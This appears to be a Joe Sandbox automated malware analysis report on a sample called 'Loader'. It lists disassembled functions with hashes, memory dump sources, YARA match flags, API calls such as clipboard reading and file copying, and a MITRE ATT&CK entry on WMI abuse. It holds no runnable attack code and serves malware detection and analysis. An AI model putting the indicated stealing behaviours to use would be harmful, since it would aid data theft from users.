Instruction ID: 42af417042999748160f2cfde4623e066f7bbdf14370506a9e850b03b4409047
Opcode Fuzzy Hash: 61158e0942f8c2ebbe7d7d6392cbc33c6892752c9a6b41372b8c84a86c221ff5
Instruction Fuzzy Hash: 28215CFDD2A1009FF7406F25FE029243A62FF1A319BD461BAF80861232F6E105249B1E

Function 009BA3F0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a0d320c40eb351b15a855faa2728060c0838047fbd3f504972d9e8309d85dba
Instruction ID: a430c8fcb6fdce18c930a26b07c31fe76e3a7e6f51a071a439db44e058f9a951
Opcode Fuzzy Hash: 4a0d320c40eb351b15a855faa2728060c0838047fbd3f504972d9e8309d85dba
Instruction Fuzzy Hash: 3D214AF9D29100EFDB066F21FE429287B62FF573017A440B5F80865731E6E20974EB9A

Function 0042F340 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 4de08f89dac6ec64966e3c6672bf835de7436243daf70ee14ec2f183f17c9638
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 8F11E933B051E40EC316CD3C9400569BFB30A93634BD943BAF8B99B2D2D6268D8E8359

Function 009DF5A7 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 5b44e2e647740fadcbc8d574af4fc7682b715c8f13e1d3c8b450df5eb50db4e0
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 6811C633A451D50DC7168D3CA410579BFA30A93735F6983EAF4BA9B3D6C622CD8A9350

Function 00420DEE Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2b294e73b44659c7da28c9de850f343f29faad070d0d6325ad1ba82bf56643d
Instruction ID: 4d769e74c576c9ce8f916bd6eaceb2aafdb0511e9a75e48a04fe1f7a94ee388f
Opcode Fuzzy Hash: f2b294e73b44659c7da28c9de850f343f29faad070d0d6325ad1ba82bf56643d
Instruction Fuzzy Hash: 562175B415C3849EE3109F26D48062FBBE2EB91754F109A2CF1D46B295E7B98942CF4A

Function 00426650 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaef253338b9e4e114dad28e6b4bc2f0b583ef31329f9e60c7b2f0bcd9ed801b
Instruction ID: daf3788b58fd1ac1674172357f4b32f0d2f72c51b8655a74155065c819c27dde
Opcode Fuzzy Hash: aaef253338b9e4e114dad28e6b4bc2f0b583ef31329f9e60c7b2f0bcd9ed801b
Instruction Fuzzy Hash: DC01B1F170075187D720AE15A5D1B27B2A8AFA0B08F0A053EE84867342DB7EFC1483AD

Function 009D68B7 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83f3d6565bf2a806f743c82a95f590a85c1b96699735f330adfbccbed3e1d39a
Instruction ID: 9efe04a39d6941d38afdcce87ef7494a66732f17ba1f6e4582747c42b4ef886f
Opcode Fuzzy Hash: 83f3d6565bf2a806f743c82a95f590a85c1b96699735f330adfbccbed3e1d39a
Instruction Fuzzy Hash: C501BCF2A4030197E720AE5584D0B3BB3ACAFD8710F18803DE84957301EB76EC09D6A1

Function 009D1055 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2b294e73b44659c7da28c9de850f343f29faad070d0d6325ad1ba82bf56643d
Instruction ID: d83024b5349f6f5c050962ff8c5ed5c044173fa0a5e358019a061b25715606e2
Opcode Fuzzy Hash: f2b294e73b44659c7da28c9de850f343f29faad070d0d6325ad1ba82bf56643d
Instruction Fuzzy Hash: 952186B455C384AFE3109F26C48062FBBE1EB91754F109A2CF1D46B294D7B58942CF47

Function 004167D2 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bf4703f03783ff77dfbc741a117e8b23dee65022770d7cae2a52fe05ed2fc2a
Instruction ID: 08fd25f3761dd1d890b1dfd609dff1b5569fab0392d0b83f1d5b46a70aea21b1
Opcode Fuzzy Hash: 0bf4703f03783ff77dfbc741a117e8b23dee65022770d7cae2a52fe05ed2fc2a
Instruction Fuzzy Hash: EB11E534511100FED228AF1CDE55BB13262FB0A719F21666AF521931F1D375E9E2CA0D

Function 009C6A39 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18c60972c3ca4408f232c2e13d7ec80600a7bbd72347c7bef37e5b69003bd23f
Instruction ID: 7c8de76b1f1d2bcaedbbc3fb121c01d4faaa56fc132650e646e0e4e28e178a88
Opcode Fuzzy Hash: 18c60972c3ca4408f232c2e13d7ec80600a7bbd72347c7bef37e5b69003bd23f
Instruction Fuzzy Hash: C011E5B4900601FAEA249F18DC45F3437AAEB47712F309A6CF165A30F1E371E991CE1A

Function 009D623B Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9ae5703d774c0c516e0f143caa18c9e17fdd347bcb31fa87c75a5029c045009
Instruction ID: 6551522f6998f5d9e22b1555ae4b3a32fc20a060844ab9cf63dbce92390d052e
Opcode Fuzzy Hash: d9ae5703d774c0c516e0f143caa18c9e17fdd347bcb31fa87c75a5029c045009
Instruction Fuzzy Hash: 2F01B9B8640100FFE65C8F04CC51939736AEF91726B68DA2DE676937E0E330EC149A05

Function 009D3747 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5141635baba8291fd76bb809b478b0d5a6590bd24b18f78ebba446217d7f1c0
Instruction ID: e7dd653faff0963aaa94901e5c351b99ab369b5fa431a245756acd810c732412
Opcode Fuzzy Hash: f5141635baba8291fd76bb809b478b0d5a6590bd24b18f78ebba446217d7f1c0
Instruction Fuzzy Hash: AE0192B851A3D09BE3108F16845476FFEA5ABC2744F45A81CF1D05B781CBB9C809CB93

Function 004355C0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 32b025327936a4e62c6e7e48232ef7f768dc410c3f8c6cf66cb32208a5e24a5e
Instruction ID: 6b407f28b4a5d9b4528088ec87e956aa3d1f04a8f65c58306e074ed56a94f81d
Opcode Fuzzy Hash: 32b025327936a4e62c6e7e48232ef7f768dc410c3f8c6cf66cb32208a5e24a5e
Instruction Fuzzy Hash: 61F0D136504708BBD1205F09EC41C37B3AEE79EB6CF50622AE458132A1E672EE1187A9

Function 009E5827 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 572bf62f28876e1321e872ba38d7db1746888fbcd599faa025d1f5a794801c82
Instruction ID: 96fe3e3a37d549b5ff330efced79f25db82d9832c2b0720dd823f0145d2c3d69
Opcode Fuzzy Hash: 572bf62f28876e1321e872ba38d7db1746888fbcd599faa025d1f5a794801c82
Instruction Fuzzy Hash: B4F04436900748BBD2214F0B9C40C3BB36DE78EB6CF114328F554131A1E372EE118BA4

Function 009C463F Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d9f8616150827146da4d60064b479e3d1848b77280fb46a2ff4ca446d43f580
Instruction ID: 24c2c316599cf639a3ab07f87fa737bbe3417b9f72369a52194c354518b60ada
Opcode Fuzzy Hash: 7d9f8616150827146da4d60064b479e3d1848b77280fb46a2ff4ca446d43f580
Instruction Fuzzy Hash: 5AF020B4E00000EBEB1C8F14DD61F38B36AFFA7312F18693CD005122A4E332AC20CA0A

Function 009C421D Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2d5e9d57559f9905adcd263126b82c4e74d144b76bbc3e5ff97756a04690c18
Instruction ID: 1d8b2c7c094740c3f05579a5ab0668ceb5a09f1a7b9da92751d042f2c6aeb1b8
Opcode Fuzzy Hash: d2d5e9d57559f9905adcd263126b82c4e74d144b76bbc3e5ff97756a04690c18
Instruction Fuzzy Hash: B0F0A774E05100EBDB189F15D862A36B375EBC6722F19956CF4A527171D330FC409E4A

Function 009C6BBD Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a95015fef084a032057d4d4e5507bc25194f139595eefa14cbe6c18a7b83a72a
Instruction ID: 970769ae16bba6f7e4ba7ef4f8d4eef7eae1d3891c232f254ad23b6a3800c1e1
Opcode Fuzzy Hash: a95015fef084a032057d4d4e5507bc25194f139595eefa14cbe6c18a7b83a72a
Instruction Fuzzy Hash: 7BC04CB191A258CFC3149F34D59956EF7F1FF5B351F5124589145E7014C670D0518A0A

Function 004376A0 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Function 009E7907 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Function 00429A8D Relevance: 50.9, APIs: 1, Strings: 28, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00429B18

Strings

", xrefs: 00429D29
., xrefs: 00429D09
B, xrefs: 00429AA2
6, xrefs: 00429CC9
<, xrefs: 00429C79
2, xrefs: 00429CA9
8, xrefs: 00429C59
*, xrefs: 00429CE9
>, xrefs: 00429C89
h, xrefs: 00429AB1
0, xrefs: 00429DDA
&, xrefs: 00429D49
l, xrefs: 00429AC5
f, xrefs: 00429B49
, xrefs: 00429D19
(, xrefs: 00429CD9
4, xrefs: 00429CB9
$, xrefs: 00429D39
,, xrefs: 00429CF9
k, xrefs: 00429AC0
F, xrefs: 00429AAC
0, xrefs: 00429C99
j, xrefs: 00429ABB
3, xrefs: 00429BB1
:, xrefs: 00429C69
d, xrefs: 00429B39
?, xrefs: 00429B91
-, xrefs: 00429C01

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: AllocString
String ID: $"$$$&$($*$,$-$.$0$0$2$3$4$6$8$:$<$>$?$B$F$d$f$h$j$k$l
API String ID: 2525500382-4238504294
Opcode ID: efa171d0bce3fc1d1ebe1d8c8c94237131f8f9783ae6e291904066c02eddcece
Instruction ID: 759e8658ad311e0ef907144f1f64673c9aab539c3b893629e7688a327e3afe8d
Opcode Fuzzy Hash: efa171d0bce3fc1d1ebe1d8c8c94237131f8f9783ae6e291904066c02eddcece
Instruction Fuzzy Hash: 32A1E02010C7C68AD336C63C88097DFAFD15BA3324F088B9DD5E95B2D2D6B9414AD7A7

Function 00429E50 Relevance: 31.6, APIs: 2, Strings: 16, Instructions: 94COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00429E5A
VariantInit.OLEAUT32 ref: 00429E6D

Strings

m, xrefs: 00429EC0
A, xrefs: 00429F60
i, xrefs: 00429EA0
U, xrefs: 00429F00
], xrefs: 00429F40
k, xrefs: 00429EB0
[, xrefs: 00429F30
Y, xrefs: 00429F20
g, xrefs: 00429E90
S, xrefs: 00429EF0
W, xrefs: 00429F10
*, xrefs: 00429E88
Q, xrefs: 00429EE0
@, xrefs: 00429F58
o, xrefs: 00429ED0
_, xrefs: 00429F50

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: Variant$ClearInit
String ID: *$@$A$Q$S$U$W$Y$[$]$_$g$i$k$m$o
API String ID: 2610073882-2519213427
Opcode ID: 5122070d67cac16e98d6a0f8de39888e63a63458e34d830f81d2881f9777bf20
Instruction ID: 934477704c9083cd9011d8e4d609a8b42cc467eef1b9a2c448688dc18583156b
Opcode Fuzzy Hash: 5122070d67cac16e98d6a0f8de39888e63a63458e34d830f81d2881f9777bf20
Instruction Fuzzy Hash: 9641162160C7C1CED335DA38985879BBFD2AB96314F084AADD4E94B2D2C3B54509CB63

Function 009DA0B7 Relevance: 31.6, APIs: 2, Strings: 16, Instructions: 94COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 009DA0C1
VariantInit.OLEAUT32 ref: 009DA0D4

Strings

[, xrefs: 009DA197
S, xrefs: 009DA157
], xrefs: 009DA1A7
k, xrefs: 009DA117
i, xrefs: 009DA107
_, xrefs: 009DA1B7
A, xrefs: 009DA1C7
Y, xrefs: 009DA187
U, xrefs: 009DA167
m, xrefs: 009DA127
o, xrefs: 009DA137
g, xrefs: 009DA0F7
@, xrefs: 009DA1BF
*, xrefs: 009DA0EF
Q, xrefs: 009DA147
W, xrefs: 009DA177

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: *$@$A$Q$S$U$W$Y$[$]$_$g$i$k$m$o
API String ID: 2610073882-2519213427
Opcode ID: 5122070d67cac16e98d6a0f8de39888e63a63458e34d830f81d2881f9777bf20
Instruction ID: 88858fe2ed1d72b60d8b7c090d16e70fe40c4df3c31b368de152e72d9ce1b70a
Opcode Fuzzy Hash: 5122070d67cac16e98d6a0f8de39888e63a63458e34d830f81d2881f9777bf20
Instruction Fuzzy Hash: 2841162160C7C1CED335DA38885879BBFD2AB92314F084AADD4E94B3D2C3B54109CB63

Function 0042A039 Relevance: 31.6, APIs: 2, Strings: 16, Instructions: 93COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0042A043
VariantInit.OLEAUT32 ref: 0042A056

Strings

T, xrefs: 0042A089
l, xrefs: 0042A0C9
d, xrefs: 0042A109
z, xrefs: 0042A139
h, xrefs: 0042A0A9
V, xrefs: 0042A099
b, xrefs: 0042A0F9
|, xrefs: 0042A149
~, xrefs: 0042A159
x, xrefs: 0042A129
`, xrefs: 0042A0E9
R, xrefs: 0042A079
j, xrefs: 0042A0B9
p, xrefs: 0042A169
n, xrefs: 0042A0D9
f, xrefs: 0042A119

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: Variant$ClearInit
String ID: R$T$V$`$b$d$f$h$j$l$n$p$x$z$|$~
API String ID: 2610073882-4121001425
Opcode ID: 312e4e2814ebf00fb9b7af9736a2fab757012459e8d1d0e0d26af09ade31cb64
Instruction ID: 9d1eddcae78209616c106927ac68cddd4bfcd711301dc741462aec3fd689f0d9
Opcode Fuzzy Hash: 312e4e2814ebf00fb9b7af9736a2fab757012459e8d1d0e0d26af09ade31cb64
Instruction Fuzzy Hash: 1F51072110D7C1CEE336CB78884879BBFD16B96224F084B9DD4E85B2D2D7B55009C767

Function 009DA2A0 Relevance: 31.6, APIs: 2, Strings: 16, Instructions: 93COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 009DA2AA
VariantInit.OLEAUT32 ref: 009DA2BD

Strings

l, xrefs: 009DA330
z, xrefs: 009DA3A0
h, xrefs: 009DA310
|, xrefs: 009DA3B0
f, xrefs: 009DA380
x, xrefs: 009DA390
p, xrefs: 009DA3D0
V, xrefs: 009DA300
b, xrefs: 009DA360
`, xrefs: 009DA350
~, xrefs: 009DA3C0
j, xrefs: 009DA320
d, xrefs: 009DA370
T, xrefs: 009DA2F0
R, xrefs: 009DA2E0
n, xrefs: 009DA340

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: R$T$V$`$b$d$f$h$j$l$n$p$x$z$|$~
API String ID: 2610073882-4121001425
Opcode ID: 312e4e2814ebf00fb9b7af9736a2fab757012459e8d1d0e0d26af09ade31cb64
Instruction ID: 09c80489f36bdbcef1c8d7efe2d58cb27dded39f18ef3e9fc95114fddde6bfd7
Opcode Fuzzy Hash: 312e4e2814ebf00fb9b7af9736a2fab757012459e8d1d0e0d26af09ade31cb64
Instruction Fuzzy Hash: 0E51F62110D7C1CEE336CB78884879BBFD16B96224F084B9DD4E85B2D2D7B55409CB63

Function 0042B16C Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 100COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0042B176
VariantInit.OLEAUT32 ref: 0042B189

Strings

o, xrefs: 0042B1BB
F, xrefs: 0042B1AB
a, xrefs: 0042B1DB
u, xrefs: 0042B1FB
u, xrefs: 0042B23B
N, xrefs: 0042B22B
V, xrefs: 0042B1EB
`, xrefs: 0042B1CB
F, xrefs: 0042B24B
w, xrefs: 0042B20B

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: Variant$ClearInit
String ID: F$F$N$V$`$a$o$u$u$w
API String ID: 2610073882-2516743973
Opcode ID: 8160020081f7fa1c054b981bb2484e20745592b8f9a0746cbcba5adab0c71b7c
Instruction ID: 7c1357debd7b28a20308aa0218b3e40fb09be1d51a35012a55049285d788bb8e
Opcode Fuzzy Hash: 8160020081f7fa1c054b981bb2484e20745592b8f9a0746cbcba5adab0c71b7c
Instruction Fuzzy Hash: 9951033150C7C18ED3319A3C885979BBBD1ABD6324F188AADE4ED873D2DA784509CB53

Function 009DB3D3 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 100COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 009DB3DD
VariantInit.OLEAUT32 ref: 009DB3F0

Strings

o, xrefs: 009DB422
a, xrefs: 009DB442
`, xrefs: 009DB432
u, xrefs: 009DB462
V, xrefs: 009DB452
F, xrefs: 009DB4B2
w, xrefs: 009DB472
N, xrefs: 009DB492
u, xrefs: 009DB4A2
F, xrefs: 009DB412

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: F$F$N$V$`$a$o$u$u$w
API String ID: 2610073882-2516743973
Opcode ID: 8160020081f7fa1c054b981bb2484e20745592b8f9a0746cbcba5adab0c71b7c
Instruction ID: e700d74c4a2276acf24d30679a77a76d0307aab65fb75d0b7e68364e3436326c
Opcode Fuzzy Hash: 8160020081f7fa1c054b981bb2484e20745592b8f9a0746cbcba5adab0c71b7c
Instruction Fuzzy Hash: 4A51033150C7C18ED3319B3C885979ABBD1ABD6224F188AADE4ED873D2DA784509CB53

Function 009DD7F7 Relevance: 9.1, APIs: 6, Instructions: 127clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 009DD819
GetWindowLongW.USER32 ref: 009DD844
GetClipboardData.USER32 ref: 009DD856
CloseClipboard.USER32 ref: 009DD977

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID:
API String ID: 1647500905-0
Opcode ID: 261608e2a4ec9850caccb80bdf5c544cff16e395a37c4d40b80c8b936b2b57ca
Instruction ID: d31763c85819dfed0e82da1a2656d07e53252edcaee49b55a884df27bf5dbb93
Opcode Fuzzy Hash: 261608e2a4ec9850caccb80bdf5c544cff16e395a37c4d40b80c8b936b2b57ca
Instruction Fuzzy Hash: 3741F6B0809B829FD711AF78894939EBFA0AF12320F04CB69E4E597391D3399555C7D3

Function 0042DB1D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 0042DB6B
GetSystemMetrics.USER32 ref: 0042DB7A

Strings

, xrefs: 0042DC4E

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: f9da6edfd6f5f2e4e59926a7a273af804c4f73b0cf1b90cc8180ba63abe8dea7
Instruction ID: 8b0da3bb382c1af7e0f615c3e70e4933a4dd9330290022110cfaea7405fe14ab
Opcode Fuzzy Hash: f9da6edfd6f5f2e4e59926a7a273af804c4f73b0cf1b90cc8180ba63abe8dea7
Instruction Fuzzy Hash: 365161B0E142088FDB40EFACD98569DBBF1BF88310F118569E498E7350D734A955CF96

Function 009D403A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,?,00000000), ref: 009D40CC
CopyFileW.KERNEL32(?,?,00000000,?,?,00000000), ref: 009D415C

Strings

/, xrefs: 009D40D7

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID: CopyFile
String ID: /
API String ID: 1304948518-3860157303
Opcode ID: 521e1d02612a16b7ba2dfe9890b09d93e4f05fee7c9bee84bb53b48accc99e02
Instruction ID: dc27dfb8f76151f38b74cd906cc226e8f35d55c865ccb786d8f5c59570960278
Opcode Fuzzy Hash: 521e1d02612a16b7ba2dfe9890b09d93e4f05fee7c9bee84bb53b48accc99e02
Instruction Fuzzy Hash: 8E217CB098C340DAD7509F51988276FBBF6EBD6308F406D1CF1D1AB3A1D63AC5458B4A

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

